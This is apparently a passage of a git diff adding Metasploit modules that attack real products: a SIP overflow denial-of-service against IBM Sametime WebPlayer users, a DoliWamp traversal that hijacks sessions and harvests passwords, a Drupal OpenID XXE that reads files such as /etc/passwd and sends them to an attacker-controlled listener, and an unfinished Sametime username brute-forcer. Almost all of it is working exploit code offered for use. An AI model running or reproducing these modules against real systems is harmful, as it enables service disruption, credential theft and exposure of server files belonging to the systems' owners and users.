end
|
||||
|
||||
def setup
|
||||
# cleanup SIP target to ensure it's in the correct format to use
|
||||
@sipuri = datastore['SIPURI']
|
||||
if @sipuri[0, 4].downcase == "sip:"
|
||||
# remove sip: if present in string
|
||||
@sipuri = @sipuri[4, @sipuri.length]
|
||||
end
|
||||
if @sipuri[0, 12].downcase == "webavclient-"
|
||||
# remove WebAVClient- if present in string
|
||||
@sipuri = @sipuri[12, @sipuri.length]
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# inform user of action currently selected
|
||||
print_status("#{peer} - Action: #{action.name} selected")
|
||||
|
||||
# CHECK action
|
||||
if action.name == 'CHECK'
|
||||
print_status("#{peer} - Checking if user #{@sipuri} is online")
|
||||
if check_user
|
||||
print_good("#{peer} - User online")
|
||||
else
|
||||
print_status("#{peer} - User offline")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
# DOS action
|
||||
print_status("#{peer} - Checking if user #{@sipuri} is online")
|
||||
check_result = check_user
|
||||
|
||||
if check_result == false
|
||||
print_error("#{peer} - User is already offline... Exiting...")
|
||||
return
|
||||
end
|
||||
|
||||
# only proceed if action is DOS the target user is
|
||||
# online or the CHECKUSER option has been disabled
|
||||
print_status("#{peer} - Targeting user: #{@sipuri}...")
|
||||
dos_result = dos_user
|
||||
|
||||
if dos_result
|
||||
print_good("#{peer} - User is offline, DoS was successful")
|
||||
else
|
||||
print_error("#{peer} - User is still online")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def dos_user
|
||||
length = 12000 # enough to overflow the end of allocated memory
|
||||
msg = create_message(length)
|
||||
res = send_msg(msg)
|
||||
|
||||
if res.nil?
|
||||
vprint_good("#{peer} - User #{@sipuri} is no responding")
|
||||
return true
|
||||
elsif res =~ /430 Flow Failed/i
|
||||
vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)")
|
||||
vprint_good("#{peer} - User #{@sipuri} is no longer responding")
|
||||
return true
|
||||
elsif res =~ /404 Not Found/i
|
||||
vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)")
|
||||
vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session")
|
||||
return true
|
||||
elsif res =~ /200 OK/i
|
||||
vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
|
||||
vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
|
||||
return false
|
||||
else
|
||||
vprint_status("#{peer} - Unexpected response")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
# used to check the user is logged into Sametime and after DoS to check success
|
||||
def check_user
|
||||
length = Rex::Text.rand_text_numeric(2) # just enough to check response
|
||||
msg = create_message(length)
|
||||
res = send_msg(msg)
|
||||
|
||||
# check response for current user status - common return codes
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - No response")
|
||||
return false
|
||||
elsif res =~ /430 Flow Failed/i
|
||||
vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)")
|
||||
return false
|
||||
elsif res =~ /404 Not Found/i
|
||||
vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session")
|
||||
return false
|
||||
elsif res =~ /200 OK/i
|
||||
vprint_good("#{peer} - User #{@sipuri} is online")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - Unknown server response")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def create_message(length)
|
||||
# create SIP MESSAGE of specified length
|
||||
vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long")
|
||||
|
||||
source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
||||
source_host = Rex::Socket.source_address(datastore['RHOST'])
|
||||
src = "#{source_host}:#{datastore['RPORT']}"
|
||||
cseq = Rex::Text.rand_text_numeric(3)
|
||||
message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
|
||||
branch = Rex::Text.rand_text_alphanumeric(7)
|
||||
|
||||
# setup SIP message in the correct format expected by the server
|
||||
data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
|
||||
data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
|
||||
data << "Max-Forwards: 80\r\n"
|
||||
data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
|
||||
data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"
|
||||
data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"
|
||||
data << "CSeq: #{cseq} MESSAGE" + "\r\n"
|
||||
data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
|
||||
data << "User-Agent: #{source_user}\r\n"
|
||||
data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
|
||||
data << message_text
|
||||
|
||||
return data
|
||||
end
|
||||
|
||||
def timing_get_once(s, length)
|
||||
if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
|
||||
return s.get_once(length, datastore['TIMEOUT'])
|
||||
else
|
||||
return s.get_once(length)
|
||||
end
|
||||
end
|
||||
|
||||
def send_msg(msg)
|
||||
begin
|
||||
s = connect
|
||||
# send message and store response
|
||||
s.put(msg + "\r\n\r\n") rescue nil
|
||||
# read response
|
||||
res = timing_get_once(s, 25)
|
||||
if res == "\r\n"
|
||||
# retry request
|
||||
res = timing_get_once(s, 25)
|
||||
end
|
||||
return res
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_status("#{peer} - Unable to connect")
|
||||
return nil
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_status("#{peer} - DoS packet successful, host not responding.")
|
||||
return nil
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_status("#{peer} - Couldn't connect")
|
||||
return nil
|
||||
ensure
|
||||
# disconnect socket if still open
|
||||
disconnect if s
|
||||
end
|
||||
end
|
||||
end
|
|
@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptBool.new('CHECK', [false, 'Only check for vulnerability', false]),
|
||||
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
@ -116,6 +115,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def check
|
||||
if check_cf
|
||||
return Msf::Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def check_cf
|
||||
vuln = false
|
||||
url = '/CFIDE/adminapi/customtags/l10n.cfm'
|
||||
res = send_request_cgi({
|
||||
|
@ -171,17 +178,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
if(not check)
|
||||
if(not check_cf)
|
||||
print_status("#{peer} can't be exploited (either files missing or permissions block access)")
|
||||
return
|
||||
end
|
||||
|
||||
if (datastore['CHECK'] )
|
||||
print_good("#{peer} is vulnerable and most likely exploitable") if check
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
|
||||
|
|
|
@ -0,0 +1,202 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials",
|
||||
'Description' => %q{
|
||||
This module will extract user credentials from DoliWamp - a WAMP
|
||||
packaged installer distribution for Dolibarr ERP on Windows - versions
|
||||
3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session
|
||||
tokens in filenames in the 'tmp' directory. A directory traversal
|
||||
vulnerability in 'jqueryFileTree.php' allows unauthenticated users
|
||||
to retrieve session tokens by listing the contents of this directory.
|
||||
Note: All tokens expire after 30 minutes of inactivity by default.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
||||
'References' =>
|
||||
[
|
||||
['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'],
|
||||
['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 12 2014'))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']),
|
||||
OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Find session tokens
|
||||
#
|
||||
def get_session_tokens
|
||||
tokens = nil
|
||||
print_status("#{peer} - Finding session tokens...")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(
|
||||
target_uri.path,
|
||||
'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] }
|
||||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
elsif res.code == 404
|
||||
print_error("#{peer} - Could not find 'jqueryFileTree.php'")
|
||||
elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)</
|
||||
tokens = res.body.scan(/>sess_([a-z0-9]+)</)
|
||||
num_tokens = tokens.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }
|
||||
print_good("#{peer} - Found #{num_tokens} session tokens")
|
||||
else
|
||||
print_error("#{peer} - Could not find any session tokens")
|
||||
end
|
||||
return tokens
|
||||
end
|
||||
|
||||
#
|
||||
# Get user's credentials
|
||||
#
|
||||
def get_user_info(user_id)
|
||||
vprint_status("#{peer} - Retrieving user's credentials")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => Hash[{
|
||||
'action' => 'edit',
|
||||
'id' => "#{user_id}"
|
||||
}.to_a.shuffle]
|
||||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
elsif res.body =~ /User card/
|
||||
record = [
|
||||
res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first,
|
||||
res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first,
|
||||
res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first,
|
||||
res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first
|
||||
]
|
||||
unless record.empty?
|
||||
print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})")
|
||||
return record
|
||||
end
|
||||
else
|
||||
print_warning("#{peer} - Could not retrieve user credentials")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Verify if session cookie is valid and return user's ID
|
||||
#
|
||||
def get_user_id
|
||||
# print_debug("#{peer} - Trying to hijack session '#{@cookie}'")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
||||
'cookie' => @cookie
|
||||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
elsif res.body =~ /<div class="login"><a href="[^"]*\/user\/fiche\.php\?id=(\d+)">/
|
||||
user_id = "#{$1}"
|
||||
vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'")
|
||||
return user_id
|
||||
else
|
||||
vprint_status("#{peer} - Could not hijack session. Session is invalid.")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Construct cookie using token
|
||||
#
|
||||
def create_cookie(token)
|
||||
# print_debug("#{peer} - Creating a cookie with token '#{token}'")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'user/fiche.php'),
|
||||
'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}"
|
||||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/
|
||||
return "DOLSESSID_#{$1}=#{token}"
|
||||
else
|
||||
print_warning("#{peer} - Could not create session cookie")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Show progress percentage
|
||||
# Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb
|
||||
#
|
||||
def progress(current, total)
|
||||
done = (current.to_f / total.to_f) * 100
|
||||
percent = "%3.2f%%" % done.to_f
|
||||
vprint_status("#{peer} - Trying to hijack a session - " +
|
||||
"%7s done (%d/%d tokens)" % [percent, current, total])
|
||||
end
|
||||
|
||||
#
|
||||
# Check for session tokens in 'tmp'
|
||||
#
|
||||
def check
|
||||
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def run
|
||||
return unless tokens = get_session_tokens
|
||||
credentials = []
|
||||
print_status("#{peer} - Trying to hijack a session...")
|
||||
tokens.flatten.each_with_index do |token, index|
|
||||
if @cookie = create_cookie(token) and user_id = get_user_id
|
||||
credentials << get_user_info(user_id)
|
||||
end
|
||||
progress(index + 1, tokens.size)
|
||||
end
|
||||
|
||||
if credentials.empty?
|
||||
print_warning("#{peer} - No credentials collected.")
|
||||
return
|
||||
end
|
||||
cred_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Dolibarr User Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
|
||||
)
|
||||
credentials.each do |record|
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => record[0],
|
||||
:pass => record[1],
|
||||
:source_type => 'vuln'
|
||||
})
|
||||
cred_table << [record[0], record[1], record[2], record[3]]
|
||||
end
|
||||
print_line
|
||||
print_line("#{cred_table}")
|
||||
loot_name = 'dolibarr.traversal.user.credentials'
|
||||
loot_type = 'text/csv'
|
||||
loot_filename = 'dolibarr_user_creds.csv'
|
||||
loot_desc = 'Dolibarr User Credentials'
|
||||
p = store_loot(
|
||||
loot_name,
|
||||
loot_type,
|
||||
rhost,
|
||||
cred_table.to_csv,
|
||||
loot_filename,
|
||||
loot_desc)
|
||||
print_status("Credentials saved in: #{p}")
|
||||
end
|
||||
end
|
|
@ -0,0 +1,233 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include REXML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Drupal OpenID External Entity Injection',
|
||||
'Description' => %q{
|
||||
This module abuses an XML External Entity Injection
|
||||
vulnerability on the OpenID module from Drupal. The vulnerability exists
|
||||
in the parsing of a malformed XRDS file coming from a malicious OpenID
|
||||
endpoint. This module has been tested successfully on Drupal 7.15 and
|
||||
7.2 with the OpenID module enabled.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Reginaldo Silva', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-4554' ],
|
||||
[ 'OSVDB', '86429' ],
|
||||
[ 'BID', '56103' ],
|
||||
[ 'URL', 'https://drupal.org/node/1815912' ],
|
||||
[ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ],
|
||||
[ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ]
|
||||
],
|
||||
'DisclosureDate' => 'Oct 17 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']),
|
||||
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def xrds_file
|
||||
element_entity = <<-EOF
|
||||
<!ELEMENT URI ANY>
|
||||
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">
|
||||
EOF
|
||||
|
||||
xml = Document.new
|
||||
|
||||
xml.add(DocType.new('foo', "[ #{element_entity} ]"))
|
||||
|
||||
xml.add_element(
|
||||
"xrds:XRDS",
|
||||
{
|
||||
'xmlns:xrds' => "xri://$xrds",
|
||||
'xmlns' => "xri://$xrd*($v*2.0)",
|
||||
'xmlns:openid' => "http://openid.net/xmlns/1.0",
|
||||
})
|
||||
|
||||
xrd = xml.root.add_element("XRD")
|
||||
|
||||
xrd.add_element(
|
||||
"Status",
|
||||
{
|
||||
"cid" => "verified"
|
||||
}
|
||||
)
|
||||
provider = xrd.add_element("ProviderID")
|
||||
provider.text = "xri://@"
|
||||
|
||||
canonical = xrd.add_element("CanonicalID")
|
||||
canonical.text = "http://example.com/user"
|
||||
|
||||
service = xrd.add_element("Service")
|
||||
|
||||
type_one = service.add_element("Type")
|
||||
type_one.text = "http://specs.openid.net/auth/2.0/signon"
|
||||
|
||||
type_two = service.add_element("Type")
|
||||
type_two.text = "http://openid.net/srv/ax/1.0"
|
||||
|
||||
uri = service.add_element("URI")
|
||||
uri.text = "METASPLOIT"
|
||||
|
||||
local_id = service.add_element("LocalID")
|
||||
local_id.text = "http://example.com/xrds"
|
||||
|
||||
return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding
|
||||
end
|
||||
|
||||
def check
|
||||
signature = Rex::Text.rand_text_alpha(5 + rand(5))
|
||||
res = send_openid_auth(signature)
|
||||
|
||||
unless res
|
||||
vprint_status("#{peer} - Connection timed out")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if drupal_with_openid?(res, signature)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
if generated_with_drupal?(res)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def run
|
||||
@prefix = Rex::Text.rand_text_alpha(4 + rand(4))
|
||||
@suffix = Rex::Text.rand_text_alpha(4 + rand(4))
|
||||
exploit
|
||||
end
|
||||
|
||||
def primer
|
||||
res = send_openid_auth(get_uri)
|
||||
|
||||
if res.nil?
|
||||
# nothing to do here...
|
||||
service.stop
|
||||
return
|
||||
end
|
||||
|
||||
unless res.code == 500
|
||||
print_warning("#{peer} - Unexpected answer, trying to parse anyway...")
|
||||
end
|
||||
|
||||
error_loot = parse_loot(res.body)
|
||||
|
||||
# Check if file was retrieved on the drupal answer
|
||||
# Better results, because there isn't URL encoding,
|
||||
# plus probably allows to retrieve longer files.
|
||||
print_status("#{peer} - Searching loot on the Drupal answer...")
|
||||
unless loot?(error_loot)
|
||||
# Check if file was leaked to the fake OpenID endpoint
|
||||
# Contents are probably URL encoded, plus probably long
|
||||
# files aren't full, but something is something :-)
|
||||
print_status("#{peer} - Searching loot on HTTP query...")
|
||||
loot?(@http_loot)
|
||||
end
|
||||
|
||||
# stop the service so the auxiliary module ends
|
||||
service.stop
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ /#{@prefix}/
|
||||
vprint_status("#{peer} - Signature found, parsing file...")
|
||||
@http_loot = parse_loot(request.uri)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Sending XRDS...")
|
||||
send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' })
|
||||
end
|
||||
|
||||
def send_openid_auth(identifier)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.to_s, "/"),
|
||||
'method' => 'POST',
|
||||
'vars_get' => {
|
||||
"q" => "node",
|
||||
"destination" => "node"
|
||||
},
|
||||
'vars_post' => {
|
||||
"openid_identifier" => identifier,
|
||||
"name" => "",
|
||||
"pass" => "",
|
||||
"form_id" => "user_login_block",
|
||||
"op" => "Log in"
|
||||
}
|
||||
})
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def store(data)
|
||||
path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH'])
|
||||
print_good("#{peer} - File found and saved to path: #{path}")
|
||||
end
|
||||
|
||||
def parse_loot(data)
|
||||
return nil if data.blank?
|
||||
|
||||
# Full file found
|
||||
if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m
|
||||
return $1
|
||||
end
|
||||
|
||||
# Partial file found
|
||||
if data =~ /#{@prefix}\/(.*)/m
|
||||
return $1
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def loot?(data)
|
||||
return false if data.blank?
|
||||
store(data)
|
||||
return true
|
||||
end
|
||||
|
||||
def drupal_with_openid?(http_response, signature)
|
||||
return false if http_response.blank?
|
||||
return false unless http_response.code == 200
|
||||
return false unless http_response.body =~ /openid_identifier.*#{signature}/
|
||||
return true
|
||||
end
|
||||
|
||||
def generated_with_drupal?(http_response)
|
||||
return false if http_response.blank?
|
||||
return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/
|
||||
return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,306 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'enumerable'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'IBM Lotus Notes Sametime User Enumeration',
|
||||
'Description' => %q{
|
||||
This module extracts usernames using the IBM Lotus Notes Sametime web
|
||||
interface using either a dictionary attack (which is preferred), or a
|
||||
bruteforce attack trying all usernames of MAXDEPTH length or less.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'kicks4kittens' # Metasploit module
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Dec 27 2013'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the userinfo script', '/userinfo/search']),
|
||||
OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]),
|
||||
OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
|
||||
OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']),
|
||||
OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during bruteforce', 2])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('SpecialChars', [false, 'Specify special chars (e.g. -_+!@&$/\?)', '' ]),
|
||||
OptString.new('PREFIX', [ false, 'Defines set prefix for each guess (e.g. user)', '']),
|
||||
OptString.new('SUFFIX', [ false, 'Defines set post for each quess (e.g. _adm)', '']),
|
||||
OptInt.new('TIMING', [ true, 'Set pause between requests', 0]),
|
||||
OptInt.new('Threads', [ true, 'Number of test threads', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
# setup the desired charset
|
||||
@charset = []
|
||||
# setup array to hold user data
|
||||
@user_data = []
|
||||
|
||||
if datastore['DICT'].blank?
|
||||
# populate charset - lowercase only as search is case insensitive
|
||||
case datastore['CHARSET']
|
||||
when "alpha"
|
||||
("a".."z").each { |alpha| @charset.push(alpha) }
|
||||
when "num"
|
||||
("0".."9").each { |num| @charset.push(num) }
|
||||
when "alphanum"
|
||||
("a".."z").each { |alpha| @charset.push(alpha) }
|
||||
("0".."9").each { |num| @charset.push(num) }
|
||||
end
|
||||
|
||||
if datastore['SpecialChars']
|
||||
datastore['SpecialChars'].chars do | spec |
|
||||
@charset.push(Rex::Text.uri_encode(spec))
|
||||
end
|
||||
end
|
||||
print_status("#{peer} - Performing Bruteforce attack")
|
||||
vprint_status("#{peer} - Using CHARSET: [#{@charset.join(",")}]")
|
||||
else
|
||||
print_status("#{peer} - Performing dictionary based attack (#{datastore['DICT']})")
|
||||
end
|
||||
|
||||
if datastore['DICT'].blank? and datastore['MAXDEPTH'] > 2
|
||||
# warn user on long runs
|
||||
print_status("#{peer} - Depth level #{datastore['MAXDEPTH']} selected... this may take some time!")
|
||||
end
|
||||
|
||||
# create initial test queue and populate
|
||||
@test_queue = Queue.new
|
||||
if datastore['DICT'].blank?
|
||||
@charset.each { |char| @test_queue.push(char) }
|
||||
else
|
||||
::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) }
|
||||
vprint_status("#{peer} - Loaded #{@test_queue.length} values from dictionary")
|
||||
end
|
||||
|
||||
@depth_warning = true
|
||||
@retries = []
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Testing for IBM Lotus Notes Sametime User Enumeration flaw")
|
||||
|
||||
# test for expected response code on non-existant uid/email
|
||||
if datastore['TYPE'] == "UID"
|
||||
random_val = Rex::Text.rand_text_alpha(32)
|
||||
else
|
||||
random_val = Rex::Text.rand_text_alpha(32) +"@"+ Rex::Text.rand_text_alpha(16) + ".com"
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/html',
|
||||
'vars_get' => {
|
||||
'mode' => datastore['TYPE'].downcase,
|
||||
'searchText' => random_val
|
||||
}
|
||||
})
|
||||
|
||||
begin
|
||||
if res.nil?
|
||||
print_error("#{peer} - Timeout")
|
||||
return
|
||||
elsif res.code != 200
|
||||
print_error("#{peer} - Unexpected response from server (Response code: #{res.code})")
|
||||
return
|
||||
elsif JSON.parse(res.body)
|
||||
# valid JSON response - valid response for check
|
||||
print_good("#{peer} - Response received, continuing to enumeration phase")
|
||||
end
|
||||
rescue JSON::ParserError,
|
||||
print_error("#{peer} - Error parsing JSON: Invalid response from server")
|
||||
return
|
||||
end
|
||||
|
||||
# start test handler
|
||||
test_handler
|
||||
|
||||
# ouput results
|
||||
output_results
|
||||
end
|
||||
|
||||
def test_handler
|
||||
print_status("#{peer} - Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
|
||||
test_length = 1 # initial test length set
|
||||
|
||||
until @test_queue.empty?
|
||||
t = []
|
||||
nt = datastore['Threads'].to_i
|
||||
nt = 1 if nt == 0
|
||||
|
||||
if @test_queue.length < nt
|
||||
# work around issue where threads not created as the queue isn't large enough
|
||||
nt = @test_queue.length
|
||||
end
|
||||
|
||||
begin
|
||||
1.upto(nt) do
|
||||
t << framework.threads.spawn("Module(#{self.refname})-#{rhost}", false, @test_queue.shift) do |test_current|
|
||||
Thread.current.kill if not test_current
|
||||
|
||||
# provide feedback to user on current test length
|
||||
if datastore['DICT'].blank? and test_current.length > test_length
|
||||
test_length = test_current.length
|
||||
print_status("#{peer} - Beginning bruteforce test for #{test_length} character strings")
|
||||
end
|
||||
|
||||
res = make_request(test_current)
|
||||
|
||||
# check response to see if an error was returned, if so wait 1 second and retry
|
||||
if res.nil? and not @retries.include?(test_current)
|
||||
# attempt test again as the server was too busy to respond
|
||||
# correctly - error returned
|
||||
print_error("#{peer} - Error reading JSON response, attempting to redo check for \"#{test_current}\"")
|
||||
@test_queue.push(test_current)
|
||||
@retries << test_current
|
||||
if @retries.length == 10
|
||||
print_error("#{peer} - Excessive number of retries detected (#{@retries.length}... check the TIMING and Threads options)")
|
||||
end
|
||||
elsif res
|
||||
# check response for user data
|
||||
check_response(res, test_current)
|
||||
end
|
||||
end
|
||||
end
|
||||
t.each {|x| x.join }
|
||||
|
||||
rescue ::Timeout::Error
|
||||
ensure
|
||||
t.each {|x| x.kill rescue nil }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# make request and return response
|
||||
def make_request(test_current)
|
||||
# combine test string with PRE and POST variables
|
||||
tstring = datastore['PREFIX'] + test_current + datastore['SUFFIX'] + "*"
|
||||
# Apply timing information to pause between making requests - not a timeout
|
||||
if datastore['TIMING'] > 0
|
||||
Rex::sleep(datastore['TIMING'])
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/html',
|
||||
'vars_get' => {
|
||||
'mode' => datastore['TYPE'].downcase,
|
||||
'searchText' => tstring
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# check the response for valid user information
|
||||
def check_response(res, test_current)
|
||||
begin
|
||||
# check response exists AND that it validates as JSON before proceeding
|
||||
if res.code.to_i == 200 and not JSON.parse(res.body).blank?
|
||||
# successful response - extract user data
|
||||
extract_user(res)
|
||||
# extend test_queue to search for further data (not if dictionary in use)
|
||||
